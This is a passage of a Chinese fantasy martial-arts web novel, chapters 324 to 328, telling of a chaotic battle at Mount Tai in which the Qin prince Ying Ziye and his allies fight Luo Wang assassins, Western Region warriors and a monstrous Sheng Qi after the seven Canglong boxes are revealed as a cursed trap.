随从们低声应命,笔下记录得更加飞快!
将山下每一个高手的特征、招式、推测的弱点都详细记录下来。
他们如同最耐心的秃鹫,潜伏在阴影之中,等待着两虎相争俱伤的时刻,准备伺机而动,攫取最大的利益。
第324章 大秦六公子的恐怖底蕴!
战局胶着。
罗网**如同跗骨之蛆,层层涌上。
端木蓉清冷的眼眸扫过那些试图突破军阵侧翼的“地”字级**,秀眉微蹙。
她素手一翻,数个色彩斑斓的玉瓶出现在指间。
“屏息!”
她清喝一声,提醒附近将士,随即玉指轻弹,瓶塞飞起。
霎时间,各色烟雾如同拥有生命般喷涌而出——
幽绿色的麻痹毒雾。
猩红色的蚀骨血瘴。
无声无味的凝功散……
数种剧毒混合交织,形成一片致命的彩霞,精准地笼罩向罗网**最密集的区域!
毒雾所过之处,**们动作瞬间僵滞,皮肤溃烂,内力运转不畅,惨叫着成片倒下!
端木蓉身影穿梭于毒雾边缘,指尖银针连闪,精准地补刀那些试图运功逼毒或逃离的漏网之鱼。
她面色平静,眼神却专注无比,将救人的医术化为了最有效率的杀戮之术!
另一边,战况更为激烈!
六剑奴如同鬼魅,剑阵再成,杀向为赢子夜掠阵的焰灵姬!
真刚剑刚猛,断水剑诡谲,乱神剑邪异,魍魉双剑灵动,转魄灭魂配合无间!
“哼,六个打一个?不要脸!”
焰灵姬娇叱一声,毫无惧色,赤足点地,周身幽蓝火焰轰然爆发,化作数条咆哮的火蛇,主动迎向剑阵!
火焰与剑气疯狂碰撞,**声不绝于耳。
她以一敌六,竟凭借诡变莫测的火魅术与悍不畏死的打法暂时缠住了他们!
但数名罗网“天”字级**却趁机突破。
直扑正在以万**花阻隔其他敌人的少司命和以冰棱狙击的雪女!
雪女面若寒霜,纤手挥动,脚下寒冰迅速蔓延。
无数尖锐的冰棱如同暴雨般射向那些“天”字级**,试图延缓他们的速度。
然而,“天”字级**实力强横,刀光剑影间便将冰棱纷纷击碎!
少司命紫眸沉静,周身落叶狂舞,形成一道道坚固的屏障,挡下大部分攻击。
但面对数名同级高手的猛攻,屏障亦不断震颤,落叶纷飞破碎!
“先拿下这两个女人!”
一名“天”字级**厉喝,刀光直劈雪女面门!
就在此时。
少司命眼中紫光一闪,双手结印速度骤然加快!
那些被击碎的落叶并未消散,反而化作无数更加细小,边缘锋锐无比的紫色叶刃。
如同疾风骤雨般,反向席卷向那几名“天”字级**!
同时,她身影一晃,竟分出数个虚实难辨的残影,扰乱了对方的判断。
雪女也趁机深吸一口气,双掌猛地合十!
刺骨的寒气瞬间爆发,在她身前凝聚成一面厚实无比的冰镜!
“铛!”
刀光狠狠斩在冰镜之上,冰屑四溅!
焰灵姬见状,猛地逼退真刚剑,反手一团高度凝聚的幽蓝火球砸向**少司命的**,娇笑道:
“以多欺少?问过老娘了吗?!”
三女虽初次配合,却展现出惊人的默契!
冰霜、火焰、飞花,三种截然不同的力量交织在一起。
竟硬生生挡住了数名“天”字级**和六剑奴部分压力的猛攻。
战局一时陷入僵持!
……
战况正酣。
赢子夜驾驭巨兵法相,与**狂暴的螭及剩余八魔杀得难解难分,宝光与邪气疯狂对撞,轰鸣声响彻山野!
麾下众人亦与罗网**死死缠斗,每一步都踏着鲜血。
就在这僵持之际,异变再生!
“呜嗷——!”
一声苍凉诡异的号角声突兀地从侧翼山林中响起!
紧接着,无数道裹着沙尘,身影诡异的身影如同鬼魅般杀出!
他们并未穿着罗网或秦军的服饰。
而是披着西域风格的粗布斗篷。
脸上涂抹着神秘的油彩,使用的武器和招式也截然不同!
弯刀闪烁着诡异的绿芒,显然是淬了西域奇毒!
投掷出的短矛带着凄厉的破空声,力道惊人。
更有人口中念念有词,挥洒出能让人产生幻觉的粉尘,或是召唤出小型沙暴遮蔽视线!
他们出手狠辣无情,且目标并非单一!
既攻击试图结阵防御的秦军和暗河,也同样袭杀那些正与秦军交战的罗网**!
所过之处,无论是罗网的黑衣还是秦军的玄甲,皆有人莫名其妙地**倒地。
或是被诡异的咒术影响,动作迟缓任人宰割!
“嗯?!”
焰灵姬正操控幽火与一名“天”字级**周旋。
忽听得对方惨叫一声。
脖颈处插着一枚造型奇特的**,伤口迅速发黑溃烂。
她猛地转头,看向那些新出现的敌人,听着他们口中呼喊的,充满异域风情的古老战吼和咒语。
美眸中闪过一丝惊疑。
“这些人的口音和手段…是西域的人!”
她厉声高喝,提醒众人。
她对西域诸国的语言文化也略有涉猎。
赢子夜一拳轰退螭的扑击,法相巨臂格开两柄淬毒弯刀的偷袭。
目光扫过那群突然加入战团,
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敌我不分乱杀一气的西域武者,脸色瞬间阴沉下来!
“西域?!”
他心中一震,没想到赵高和罗网的叛乱,竟然还将远在西域的势力也牵扯了进来!
这潭水,比他想象的还要浑!
就在这三方混战,局势愈发混乱复杂之际——
一股更加恐怖,更加灼热,带着无上威严与愤怒的威压,如同旭日东升,猛地从战场一侧降临!
金色的火焰冲天而起,将那片天空都染成了璀璨的金色!
一道高挑绝美的身影,沐浴在熊熊燃烧的太阳真火之中,一步步自火焰中走出。
她容颜冰冷,眼神却燃烧着焚尽一切的怒火,正是破封而出的东君——
焱妃!
她的出现,瞬间吸引了全场所有的目光!
那浩瀚的神威,甚至暂时压过了战场上的喊杀声!
赢子夜看到焱妃,先是微微一怔,随即嘴角勾起一抹冰冷而复杂的弧度,朗声道:
“东君阁下也来凑热闹?”
“今日这泰山,还真是……群英荟萃啊!”
焱妃冰冷的目光扫过混乱的战场,尤其是在罗网**和那些西域武者身上停留了一瞬。
金色火焰跳动得更加剧烈,显然怒极!
但她并未立刻出手,只是那恐怖的威压让所有人心头都像是压上了一块巨石。
螭和西域萨满等人脸色也是剧变,显然没料到会突然杀出这样一个恐怖的存在!
赢子夜心念电转,眼下局势瞬息万变,敌友难辨,必须尽快提升己方实力,稳住阵脚!
他不再犹豫,猛地一拍腰间一个看似普通的锦囊!
顿时,霞光万道,药香扑鼻!
数十个玉瓶、玉盒如同拥有灵性般飞射而出!
精准地落向正在苦战的韩信、暗河精锐、噬牙狱凶徒、乃至端木蓉、雪女、少司命、焰灵姬等人手中!
“接着!服下!”
赢子夜的声音如同雷霆,在每个人耳边炸响!
众人下意识地接过,打开一看,无不倒吸一口凉气!
瓶中丹药或是龙眼大小,氤氲紫气的“紫蕴护心丹”。
或是金光灿灿,能短时间内狂暴提升内力的“龙象大力丸”。
或是能极速恢复伤势的“生生造化丹”……
皆是世间难寻的极品宝药!
就连焰灵姬看到手中那枚明显能增幅火焰威力的“赤炼火丹”,都忍不住美眸圆睁。
再次被赢子夜这深不见底的宝藏震撼了一把。
没有任何犹豫,所有人立刻将得到的丹药吞服而下!
第325章 此地,禁行!
丹药入腹后。
如同炽热的岩浆瞬间流遍四肢百骸,又似甘霖滋润干涸的河床!
一股前所未有的磅礴力量在每一位帝国将士、暗河**、噬牙狱凶徒体内轰然爆发!
“轰!”
“轰!”
“轰!”
“呃啊——!”
一名原本手臂受伤,动作迟缓的禁军士卒,猛地发出一声压抑不住的嘶吼!
他感到伤口处传来一阵剧烈的麻痒。
鲜血瞬间止住,肌肉贲张。
一股远超从前的巨力从体内涌出!
他狂吼着,竟然单手就挥动了原本需要双手才能抡起的重盾。
狠狠将一名扑上来的罗网**连人带刀砸飞出去,骨骼碎裂声令人牙酸!
“这…这是何等力量?!”
韩信感受着体内奔腾咆哮,几乎要破体而出的浩瀚内力,手中长剑发出兴奋的嗡鸣!
他长啸一声,剑招再无保留,一道长达数丈,凝练无比的璀璨剑罡横扫而出!
前方三名试图结阵的“杀”字级**脸色剧变,全力格挡,却被那恐怖的剑罡连人带兵器一同斩为两段!
血雨喷溅!
“哈哈哈!痛快!!”
暗河**们如同鬼魅般的身影速度再次暴增,几乎化作了真正的影子!
他们手中的**每一次闪烁,都必然带起一蓬血花!
一名罗网“杀”字级**甚至没看清他们的动作,只觉得喉间一凉,便已无力倒地。
而干掉他的那个暗河**则舔了舔**上的鲜血,眼中闪烁着嗜血而兴奋的光芒。
这种速度与力量完美结合的感觉,让他沉醉!
噬牙狱的凶徒们更是彻底疯狂了!
他们本就悍不畏死。
此刻在丹药的刺激下,如同彻底挣脱了最后枷锁的洪荒凶兽!
一名凶徒硬生生用胸膛接了一名罗网高手的重拳,胸口凹陷下去!
却狂笑着,反手用特制镣铐勒住了对方的脖子,猛地发力!
“咔嚓”一声,那罗网高手眼球暴突,瞬间毙命!
另一名凶徒直接抓起地上的一具尸体当作武器,狂舞着砸向西域武者,力量大得惊人!
“我的毒…还能这样用?!”
端木蓉惊讶地看着自己指尖萦绕的毒雾。
原本需要精心调配才能发挥效果的混合毒素,此刻在她暴涨的精神力操控下,如臂指使!
她心念一动,毒雾瞬间分化成数十股细流,精准地钻入多名罗网**的口鼻耳中!
那些**顿时如同被抽去了骨头般软倒在地。
浑身抽搐,口吐白沫,失去了所有战斗力!
雪女清冷的容颜上也浮现出一丝惊异。
她纤手轻抬,周身的寒气不再是弥漫扩散。
而是瞬间凝聚成无数柄晶莹剔透,边缘锋锐无比的冰晶长剑!
随着她意念指引,冰剑如同暴雨般攒射向冲来的西域武者,速度快到极致,穿透力惊人!
那些武者挥舞弯刀格挡,却被冰剑上蕴含的极致寒意冻得动作迟缓。
紧接着,便被后续的冰剑洞穿身体,化作一座座冰雕!
少司命,依旧沉默。
但周身盘旋的万**花却骤然变得狂暴起来!
每一片落叶都仿佛化作了最锋利的神兵,旋转切割的速度提升了数倍不止!
她双手结印,向前平推!
无数紫叶瞬间汇聚成一道巨大、咆哮的紫色龙卷风,直接将两名试图偷袭她的“地”字级**和数名西域武者卷入其中!
凄厉的惨叫声从龙卷风中传出,血肉横飞!
“哇!这火……够劲!”
焰灵姬感受着体内那几乎要沸腾**的火焰之力,美眸中异彩连连!
她不再节省力量,双手猛地向天一引!
轰!
幽蓝色的火焰如同火山喷发般从她脚下冲天而起,化作一片覆盖方圆十数丈的火海!
她立于火海中央,如同火焰女神。
玉指轻点,火海中瞬间冲出数十条狰狞咆哮的巨型火蛇。
精准地缠向六剑奴和附近的西域萨满巫师!
火焰温度之高,连空气都扭曲起来,逼得六剑奴不得不暂时放弃进攻,全力抵挡这突如其来的恐怖火焰!
帝国一方的气势,在这一刻达到了顶点!
原本僵持甚至略处下风的战局,瞬间被这股突如其来,狂暴的力量洪流所逆转!
怒吼声、喊杀声、兵刃碰撞,能量**,汇聚成一股碾压一切的钢铁洪流!
罗网**和西域武者们顿时压力陡增,死伤惨重!
他们惊恐地发现,眼前的敌人仿佛瞬间脱胎换骨。
力量、速度、反应、甚至战斗技巧都提升了一个巨大的档次!
每一次交锋都变得无比艰难,每一次碰撞都可能付出生命的代价!
战场,彻底变成了一面倒的**!
而帝国之刃,经过丹药的淬炼后,露出了最锋利的獠牙!
……
泰山之巅,玉皇顶。
那汇聚了无尽月华与精血能量的阵法,光芒已炽烈到无以复加!
七个宝盒悬浮于空,剧烈震颤。
表面古老符文疯狂流转,仿佛下一刻就要彻底融为一体,化作那传说中能窥探长生,掌控命运的苍龙七宿之秘!
天地间的能量躁动到了极致,连空间都发出了不堪重负的嗡鸣!
就在这最终时刻即将来临的刹那——
“就是现在!”
一声尖锐,压抑着无尽贪婪与疯狂的嘶吼,自一处阴影中爆发!
赵高的身影如同鬼魅般扑出,速度快到极致,枯瘦的手爪直取那光芒最核心的宝盒!
他等待了无数岁月,谋划了无数阴谋,就是为了这一刻!
几乎同时!
“哼!”
另一声蕴含着无尽愤怒与决绝的清叱响起!
东君焱妃周身金色火焰轰然爆发,化作一道撕裂夜幕的金色长虹,后发先至!
竟与赵高几乎并驾齐驱,同样冲向阵法核心!
她的目标并非宝盒,而是被罗网控制在某处,作为威胁她筹码的女儿!
但破开这阵法,抢先拿到苍龙七宿作为筹码,无疑是救女的第一步!
两位当世顶尖强者,怀着不同的目的,却同时做出了同样的选择——
直扑那最为关键,也最为脆弱的仪式核心!
然而,就在他们的手爪即将触及那璀璨光团的瞬间!!
一直屹立于阵眼中心,仿佛与阵法融为一体的东皇太一,终于动了!
他甚至没有回头。
只是缓缓地,抬起了他的一只手。
那只手,苍
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白,修长,仿佛由最上等的玉石雕琢而成。
却又蕴含着一种无法形容,仿佛执掌星辰宇宙般的古老威严!
随着他抬手的动作,整个泰山之巅的光线,仿佛骤然暗淡了一瞬!
并非消失。
而是所有的光芒,所有的能量,甚至包括赵高和焱妃身上爆发出的恐怖气势,都仿佛被那只手无形地吸纳、掌控了!
时间与空间,在这一刻仿佛陷入了粘稠的泥沼!
赵高前冲的身影猛地一滞,仿佛撞上了一堵无形无质却坚不可摧的墙壁!
他脸上那贪婪疯狂的表情瞬间凝固,转化为极致的惊骇!
只觉自己周身的力量,甚至包括他修炼多年的罗网秘传内力,都在飞速流逝,被那只手无情地剥夺、压制!
东君焱妃周身的太阳真火也如同遇到了克星,剧烈地摇曳,明灭不定,竟有溃散的趋势!
她前冲的势头被硬生生遏止,绝美的脸上写满了震惊与难以置信!
她感觉自己面对的不是一个人,而是一片深不可测,吞噬一切的宇宙星空!
“蝼蚁之辈,也敢觊觎星辰?”
一个平静、淡漠、却仿佛来自九天之外,蕴含着无上威严与冰冷蔑视的声音,缓缓自东皇太一口中吐出。
他终于缓缓转过身。
宽大的黑袍依旧笼罩着他的身躯,那副诡异的面具遮挡了他的容貌。
但透过面具的眼孔,那双深邃如同星海漩涡的眼眸,第一次清晰地映照出赵高与焱妃惊骇的身影。
没有结印,没有念咒。
他只是对着赵高和焱妃,那只抬起的手,极其随意地,轻轻向下一压!
“轰——!!!”
一股无法用言语形容的恐怖力量轰然降临!
那不是单纯的内力冲击,也不是精神压迫,而更像是…规则的碾压!
仿佛这片天地的主宰,下达了不容抗拒的审判!
赵高和焱妃脸色同时剧变!
他们感觉自己仿佛变成了狂风巨浪中的两片落叶,又像是被整个世界的重量狠狠压在了身上!
“噗!”
赵高首当其冲,猛地喷出一口黑血!
周身骨骼发出令人牙酸的咯吱声,整个人如同被无形的巨山砸中,以比来时更快的速度倒飞出去,狠狠撞在远处的山岩之上,碎石崩飞!
焱妃周身的金色火焰瞬间被压得几乎熄灭!
她闷哼一声,绝美的脸庞上浮现出一抹不正常的潮红!
身形踉跄后退,每一步都在坚硬的祭坛地面上留下一个深深的燃烧着金色火焰的脚印!
她强行稳住身形,抬头看向东皇太一,眼中充满了前所未有的凝重与骇然!
一击!
仅仅只是随意的一抬手,一按压!
便将谋划已久,实力深不可测的赵高打得吐血倒飞!
更是将破封而出,气势正盛的东君焱妃强行逼退!
这是何等恐怖的实力?!
这是何等绝对的压制力?!
东皇太一依旧静立原地,黑袍无风自动,那只手缓缓收回,仿佛只是做了一件微不足道的小事。
他目光淡漠地扫过狼狈的赵高和凝重的焱妃,声音依旧平稳无波,却带着令人绝望的威严!
“仪式完成之前,此地……”
“禁行。”
第326章 苍龙七宿,乃是周王室的阴谋!
山下战场。
帝国一方因丹药之助,气势如虹,已逐渐掌控局面。
但赢子夜深知,真正的胜负手,在山巅!
他目光冰冷地锁定着眼前狂暴攻击的螭与剩余八魔。
这些家伙服用了某种邪药,力量、速度、恢复力都暴涨,悍不畏死,如同跗骨之蛆般难缠。
“没时间跟你们耗了!”
赢子夜眼中寒光爆射,巨兵六臂法相六臂齐震,荡开四面八方的攻击!
他心念一动,一枚龙眼大小,内部仿佛有雷霆闪烁的紫色丹药出现在掌心——
狂暴雷元丹!
能瞬间将雷电属性**威力提升数倍!
他毫不犹豫地吞下!
“轰隆!”
丹药入腹,赢子夜周身瞬间爆发出刺目的紫色雷光!
无数电蛇在他体表游走跳跃,甚至那尊巨兵法相也染上了一层狂暴的雷芒,威势再次暴涨!
“死!”
赢子夜厉喝一声,法相那持印的巨臂猛地高举,引动九天之上那因阵法而紊乱的天地之气!
霎时间,风云变色!
一道粗如水桶般的真正天雷竟被强行引落,缠绕在那巨大的法印之上,对着咆哮冲来的螭,狠狠砸下!
“嗯?!”
螭感受到那毁灭性的天威,兽瞳中第一次露出了恐惧!
想要闪避,却已被那恐怖的雷霆威压死死锁定!
“不——!”
轰!!!
雷印如山,携天威狠狠砸落!
刺目的雷光瞬间吞噬了螭的身影!
大地剧烈震颤,烟尘混合着雷光冲天而起!
待雷光散尽,原地只剩下一个焦黑的巨坑,以及巨坑中心一具几乎不成人形,冒着青烟的残骸!
罗网耗费巨大资源救出来的顶尖战力。
螭!
竟被赢子夜引动天雷,一击镇杀!!
剩余八魔见状,发出惊怒交加的咆哮,攻势更加疯狂,但却隐隐带上了一丝恐惧!
“轮到你们了!”
赢子夜杀意已决,法相六臂挥舞,雷光剑气纵横交错!
他本体更是如同雷神降世,手持“流光”剑,身化电光,在七魔之间穿梭!
“噗嗤!”
剑光一闪,一名九魔成员的头颅冲天而起!
“咔嚓!”
雷拳轰出,另一名的胸膛彻底塌陷!
法相巨戟扫过,直接将两名魔头拦腰斩断!
丹药之力加持,天雷之威相助,赢子夜此刻战力全开,杀伐果决!
短短几个呼吸间,剩余八魔竟被他以摧枯拉朽之势,尽数屠灭!!!
残肢断臂混合着焦臭味,散落一地!
这一幕,彻底震慑了全场!
无论是罗网**还是西域武者,都感到一股寒意从脚底直冲天灵盖!
这位六殿下,自百越回来后,变得…更深不可测了!!
遥想当初在百越时,九魔还能与他扯个平手……
如今,说杀就杀?
而赢子夜则看也不看地上的尸体,目光猛地投向山巅那光华最盛之处!
他能感觉到,那里正爆发着更加恐怖的能量碰撞!
“此地交给你们!”
他对韩信、焰灵姬等人喝令一声,身形化作一道紫色电光,毫不犹豫地朝着山巅疾射而去!
几乎就在赢子夜动身的同时,那名一直隐藏在暗处指挥的西域萨满巫师,浑浊的眼中也闪过一丝决然。
山巅的异动和那瞬间爆发的恐怖威压,让他明白,真正的“神恩”即将现世!
他口中飞快地念出一段古老晦涩的咒语,手中骷髅木杖重重顿地!
一股无形的波动散开,那些正在作战的西域武者眼神瞬间变得更加狂热和不要命,死死缠住了眼前的敌人。
而萨满自己,则身体如同融入风中,化作一道模糊的流沙。
以一种极其诡异的身法,避开主战场,沿着另一条险峻的小路,悄无声息却又速度极快地向山巅潜行而去!
两人的目标,在此刻惊人地一致。
直指那决定一切的泰山之巅!
……
泰山之巅,玉皇顶。
那汇聚了无尽能量,牵引了天地异象的七个宝盒。
终于在无数道目光的注视下,达到了光辉的顶点!
它们嗡鸣震颤着,表面的古老符文如同活过来一般疯狂游动。
最终,在一阵令人心悸的寂静之后——
“轰!!!”
一道无法用言语形容,混合了七种不同色彩却充满了不祥与毁灭气息的光柱,猛地自七个宝盒中心爆发开来,直冲云霄!
恐怖的能量冲击波如同海啸般向四周疯狂扩散!
首当其冲的便是维持阵法的月神、云中君等人!
众人甚至来不及做出任何反应,便如同被无形的巨锤狠狠击中!
鲜血狂喷而出!
身体不受控制地被那毁灭性的能量洪流狠狠抛飞出去,重重砸落在远处的乱石之中,生死不知!
就连强如东皇太一、东君焱妃、赵高,也在那突如其来,远超想象的恐怖能量爆发下,脸色剧变。
不得不暂时放弃对峙。
身形急速闪动,各施手段抵御或避开那毁灭冲击的核心!
赢子夜,恰在此时赶至山巅,看到的正是这惊天动地的大**!
他瞳孔骤缩。
巨兵法相六臂交叉护于身前。
周身雷光与宝光交织成最坚固的防御。
硬生生扛住了那冲击波的余威!
身形被推得向
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后滑行十数丈,在地面上留下深深的沟壑!
整个山巅,飞沙走石,烟尘弥漫。
那精心布置的阵法早已寸寸碎裂,一片狼藉。
短暂的死寂。
所有人的目光都死死地盯着那**的中心,等待着那传说中能带来长生与无上力量的“苍龙七宿”显现。
然而……
烟尘缓缓散去,露出了其中的景象。
没有霞光万道,没有仙乐渺渺,更没有想象中蕴含无限生机的神力!
有的,只是七个黯淡无光,表面布满裂痕,仿佛随时都会碎裂的破旧盒子。
而从那些裂痕之中,丝丝缕缕溢散出的,是一种令人作呕,混合了无数怨念、血腥、煞气、诅咒的……
极致负面能量!
那能量阴冷、污秽,充满了毁灭与疯狂的气息。
与“长生”、“力量”这些美好的词汇没有半分钱关系!
反而更像是在地狱深处浸泡了万载的毒瘤!
“这…这是什么?!”
赵高失声叫道,脸上充满了错愕与难以置信。
他梦寐以求的长生之力呢?!
怎么会是这种污秽之物?!
东君焱妃金色眼眸中也满是惊疑不定,周身的太阳真火都因那污秽能量的靠近而微微黯淡。
东皇太一沉默地立于原地,黑袍下的身躯似乎几不可察地震动了一下。
面具后的目光,死死盯着那七个破碎的盒子。
无人能看清他的表情。
赢子夜感受着那弥漫开的令人灵魂都感到颤栗不安的污秽能量。
再结合那七个盒子对应的七国。
一个惊人、可怕的念头如同闪电般划过他的脑海!
他猛地抬头,声音因震惊而带着一丝沙哑:“不对!这根本不是什么长生之秘!”
“这是一个陷阱!一个恶毒的陷阱!”
所有人的目光瞬间聚焦在他身上。
赢子夜语速极快,思维飞速运转,将线索串联:“周王朝分封七国,岂会不留后手?”
“这苍龙七宿,根本就不是留给胜利者的奖赏!”
“它是周王室埋下的最恶毒的诅咒!”
“它针对的,就是那个最终一统天下,集齐七国宝盒,试图窥探甚至覆灭周室隐秘的胜利者!”
他指着那七个不断溢出污秽能量的盒子,声音冰冷。
“一旦开启,这汇聚了七国数百年征伐产生的血腥煞气,亡魂怨念,乃至国破族灭的绝望诅咒…便会彻底爆发!”
“这根本不是什么力量,这是足以侵蚀国运,反噬其主,令开启者乃至其王朝万劫不复的剧毒!”
“周室…好狠毒的心思!”
“他们从一开始,就没想让任何一国真正长久!”
第327章 七国之罪,尽融诸身!
这番话,如同惊雷炸响在所有人耳边!
赵高脸色瞬间惨白如纸,身体摇晃了一下。
他毕生的追求,竟然是一个如此恶毒的陷阱?!
东皇太一依旧沉默,但那周身弥漫的气息,却变得极其危险而压抑。
东君焱妃也露出了骇然之色。
就在众人被这惊天真相震撼得心神失守之际——
“嗬……嗬……”
一阵低沉、沙哑、仿佛野兽般的喘息声,突兀地从一堆乱石后响起。
一道高大魁梧,背负着巨大黑色剑刃的身影,一步步地从阴影中走了出来。
竟是早已消失许久,被认为早已离开的——
胜七!
但此刻的他,状态极其诡异!
他双眼赤红如血,里面没有任何理智可言,只有疯狂的杀戮欲望!
他浑身肌肉贲张到扭曲。
皮肤表面浮现出无数道暗红色的如同诅咒般的诡异纹路。
丝丝缕缕的污秽能量正从那些纹路中散发出来,与他身后那七个破碎盒子溢出的能量产生着共鸣!
他似乎完全失去了自我意识,口中发出无意义的嗬嗬声,一步步走向那七个盒子。
在所有人惊愕的注视下,他竟张开双臂,仿佛要拥抱那些盒子!
“胜七!你做什么?!”
赢子夜厉声喝道。
但胜七毫无反应。
他的身体接触到了那些溢散的污秽能量,那些能量仿佛找到了最佳的容器,疯狂地涌入他的体内!
“呃啊啊啊啊啊——!!!”
胜七发出了痛苦到极致的惨嚎,身体剧烈地抽搐、膨胀!
他背后的黑色巨剑“巨阙”发出不堪重负的嗡鸣!
下一刻,令人毛骨悚然的事情发生了!
那七个破碎的盒子中蕴含的,积累了数百年的七国罪业、血腥煞气、亡魂诅咒……
仿佛找到了一个宣泄口。
如同百川归海般,疯狂地涌入胜七的体内!
胜七的身体以肉眼可见的速度发生着恐怖的变化!
他的体型再次暴涨,皮肤变得如同黑铁,却又布满了血色的裂痕!
他的指甲变得如同利爪,口中獠牙凸出!
那柄巨阙剑似乎也与他的手臂融合在了一起,化作了更加狰狞的武器!
更重要的是,他那双赤红的眼睛中,最后一丝属于人类的理智彻底湮灭。
取而代之的,是纯粹到极致,毁灭一切的疯狂**!
“吼——!!!”
一声完全不似人类,仿佛来自九幽地狱的咆哮。
从胜七。
不。
是从这头融合了七国罪业诅咒的怪物口中爆发出来!
恐怖的音浪混合着实质般的污秽能量,冲击着所有人的心神!
下一刻。
这头彻底失去理智,只余下杀戮本能的怪物,猛地抬起头。
那双燃烧着血焰的兽瞳,死死锁定了山巅之上所有的活物。
东皇太一、赢子夜、焱妃、赵高、以及刚刚挣扎着爬起来的月神等人!
毁灭!
杀戮!
吞噬!
它庞大的身躯猛地一动。
带着碾碎一切的狂暴气势。
对着距离它最近的东皇太一,狠狠扑了过去!
巨爪挥出,带着撕裂空间的污秽能量与腥风!
东皇太一黑袍鼓荡,面对这超出预料的恐怖存在,也不敢有丝毫怠慢。
他双手结出一个玄奥法印,身前空间瞬间扭曲折叠,形成一道道无形的屏障!
“轰隆!!”
怪物的巨爪狠狠砸在空间屏障之上,发出令人牙酸的碎裂声!
屏障剧烈震颤。
竟被那纯粹的力量与污秽能量腐蚀出道道裂痕!
东皇太一身形微晃,面具下的目光无比凝重。
这怪物的力量,竟蛮横到了足以撼动他修为的地步!
然而,这混乱的战场岂会只有这一处交锋?
几乎在怪物动手的同一时间,赵高眼中闪过一丝狠厉与不甘!
他费尽心机,却落得一场空,甚至还可能被这怪物威胁!
但他岂会甘心?
目标,瞬间转向那七个虽然破碎却依旧可能残留些许力量的宝盒碎片,身影如电射出!
“赵高!休想!”
东君焱妃冷叱一声,金色火焰化作长鞭,狠狠抽向赵高后背!
她虽也惊骇于剧变,但女儿的下落还与罗网有关。
绝不能放赵高离开,或染指任何可能的力量!
另一边。
赢子夜巨兵法相六臂齐动,雷光剑气纵横,试图阻拦那发狂的怪物,缓解东皇太一的压力。
但那怪物力量太强,速度也快得惊人。
反手一爪拍向法相。
污秽能量与雷霆疯狂抵消,竟震得法相微微黯淡!
“吼!”
怪物似乎被赢子夜的攻击激怒,竟分出一部分注意力,张口喷出一道混合着血腥与诅咒的暗红色能量洪流,直冲赢子夜!
同时,它另一只爪子依旧疯狂地攻击着东皇太一!
而刚刚挣扎着爬起的月神、云中君等人,伤势不轻。
面对这突如其来的灭世凶兽和混乱局面,更是心惊胆战,只能勉强自保,或是试图重新结阵。
却屡屡被战斗的余波打断。
更外围。
那名西域萨满巫师,也趁机潜入了山巅边缘。
他并未立刻加入战团,而是目光狂热而贪婪地盯着那发狂的怪物和破碎的宝盒,口中念念有词。
似乎…在准备某种诡异的仪式,想要窃取或控制那污秽的力量!
他挥动骷髅木杖,几道隐晦的诅咒波纹悄无声息地射向正在激战的众人,试图加剧混乱!
“卑鄙!”
焰灵姬娇叱一声。
幽蓝火蛇腾空而起!
拦截下射向赢子夜的诅咒波纹。
火焰与诅咒碰撞,发出滋滋的腐蚀声。
她自己也立刻被两名趁机偷袭的罗网“天”字级**缠住!
少司命万**花护住雪女和端木蓉,抵挡着能量余波和偶尔飞来的冷箭流矢。
雪女凝聚冰墙,端木蓉则洒出解**粉,抵御着那弥漫的污秽气息对己方的侵蚀。
整个玉皇顶,彻底乱成了一锅粥!
怪物对阵东皇太一、赢子夜!
赵高…对阵东君焱妃!
西域萨满暗中施法,无差别搅局!
罗网残部、阴阳家伤者、赢子夜麾下诸女各自为战,互相提防。
又要应对怪物攻击的余波,和那无孔不入的污秽能量侵蚀!
攻击,往往从意想不到的方向袭来。
可能刚刚躲开怪物的巨爪,侧面就射来赵高的偷袭指风。
也可能正要追击赵高,脚下突
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然冒出西域萨满的流沙陷阱。
没等好不容易逼退一名罗网**,头顶却落下怪物喷出的毁灭性能量洪流!!
没有人能信任彼此。
每一方都在为各自的目标而战!
同时,又不得不分出大部分精力应对那最强的,无差别攻击的怪物!
怒吼声、咆哮声、**声、兵刃碰撞、诅咒念诵……
各种声音交织在一起!
能量光芒疯狂闪烁!
雷霆、火焰、冰霜、金光、黑雾、污秽血光……
各种属性的力量胡乱对撞,将整个山巅炸得千疮百孔!!!
这是一场彻头彻尾,敌友难分的疯狂大乱战!
而核心。
便是那头融合了七国罪业,只知道毁灭的恐怖凶兽!
它每一次攻击都让地动山摇,让所有人疲于应付!
在这极致的混乱与危机中,纵然是东皇太一、赢子夜这等强者,也感到了前所未有的棘手与压力!
而混乱的战场上。
赵高硬生生承受了那怪物一爪的余波,污秽能量侵入体内,令他经脉剧痛,气血逆冲。
猛地喷出一大口黑血。
脸色瞬间灰败下去。
他踉跄后退。
看着那疯狂肆虐的怪物,又看向那七个彻底破碎,只剩下污秽的盒子,眼中充满了无尽的愤怒、不甘与扭曲的怨毒!
他毕生谋划,机关算尽,背叛帝国,勾结外敌,甚至不惜与虎谋皮!
最终换来的,竟然是这样一场空!
一个恶毒的陷阱,一头只知毁灭的怪物!
这让他如何能不恨?
如何能不疯?
“大人!”
掩日如同鬼魅般闪至赵高身边,一把扶住他摇摇欲坠的身体,声音急促,“此地不宜久留!必须立刻撤离!”
另外几名残存的六剑奴成员也迅速逼退对手,护持过来。
组成一个小小的防御圈。
“想走?!”
东君焱妃清冷的声音带着滔**火响起!
她周身金色火焰再次暴涨,逼退了纠缠她的两名罗网**,美眸死死锁定赵高,“交出我的女儿!”
“否则,今日你们谁也别想离开!”
她双手快速结印,强大的阴阳术力开始凝聚。
周围空间隐隐波动,显然是要施展某种强大的困敌结界!
赵高见状,眼中闪过一丝极其阴鸷的光芒,他强忍着剧痛,对掩日嘶声道:“给她…!”
掩日立刻会意,毫不犹豫地从怀中掏出一枚特制的信号弹,猛地射向天空!
信号弹炸开,形成一道诡异的黑色蜘蛛图案。
几乎在信号亮起的瞬间。
在远处一处相对完好的断崖后,两名罗网**挟持着一个昏迷的紫发少女。
正是姬如千泷。
出现在了焱妃的视野之中!
而其中一名**的**,正紧紧抵在千泷白皙的脖颈上!
“月儿!”
东君焱妃的结印动作瞬间僵住,所有的怒火与杀意都在看到女儿的那一刻化为了无尽的焦急与担忧!
她周身的火焰都因情绪的剧烈波动而明灭不定。
“东君大人!”
掩日沙哑的声音冷冷响起,“若不想令爱香消玉殒,就立刻让开道路!否则……”
**微微用力,千泷的脖颈上瞬间出现一道血痕!
第328章 这是你想来就来,想走就走的?
“住手!”
焱妃失声惊呼,心脏几乎骤停!
她死死盯着那柄**,又看了看脸色狰狞的赵高和掩日,再瞥了一眼远处那依旧在疯狂攻击东皇太一和赢子夜的怪物……
最终,救女的母性压倒了一切!
